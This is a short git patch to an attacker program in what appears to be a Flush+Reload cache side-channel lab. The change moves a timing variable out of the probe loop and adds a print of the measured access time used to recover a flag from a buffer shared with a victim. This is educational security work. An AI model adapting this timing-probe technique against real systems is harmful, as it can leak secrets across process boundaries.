From a5c6a2bd5fe36cbeb7e23d80a80647113b5588f7 Mon Sep 17 00:00:00 2001 From: ClF3 Date: Mon, 4 Nov 2024 19:45:17 +0800 Subject: [PATCH] part2 ver 0.2.1 --- Part2-FlushReload/attacker.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index 1d32ffb..2163fd8 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -12,7 +12,7 @@ #define WAIT_TIME 100 int main() { int flag = -1; - + CYCLES time = -1; // buf is shared between the attacker and the victim char *buf = allocate_shared_buffer(); @@ -22,13 +22,14 @@ int main() { } for(int i = 0; i < WAIT_TIME; i++); for(int i = 0; i < 1024; i++) { - CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); + time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); if(time < CACHE_HIT_THRESHOLD) { flag = (i * 10020107) % 1024; break; } } printf("Flag: %d\n", flag); + printf("Time: %d\n", time); deallocate_shared_buffer(buf); return 0;